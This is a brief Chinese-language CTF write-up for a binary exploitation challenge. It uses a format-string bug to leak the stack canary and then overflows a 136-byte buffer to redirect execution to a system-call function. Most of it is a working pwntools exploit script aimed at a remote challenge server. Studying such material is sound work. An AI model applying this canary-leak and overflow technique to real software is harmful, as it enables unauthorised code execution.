之前有讲到canary的原理,这道题就用到了。
checksec
ida
可以看到scanf是我们可以利用的格式化字符串漏洞,因此我们可以确认偏移了6个字节
而v2其实就是canary,通过观察buf所在的栈,发现偏移了0x88,那么就可以开始写代码了。
代码
from pwn import*
s=remote('220.249.52.133',48752)
sys=0x4008de
s.recvuntil('battle')
s.sendline('2')
s.sendline('%23$p')
sleep(0.5)
s.recvuntil("0x")
canary = int(s.recv(16),16)
print(canary)
s.recvuntil('battle')
s.sendline('1')
payload='a'*136+p64(canary)+'a'*8+p64(sys)
s.sendline(payload)
s.interactive()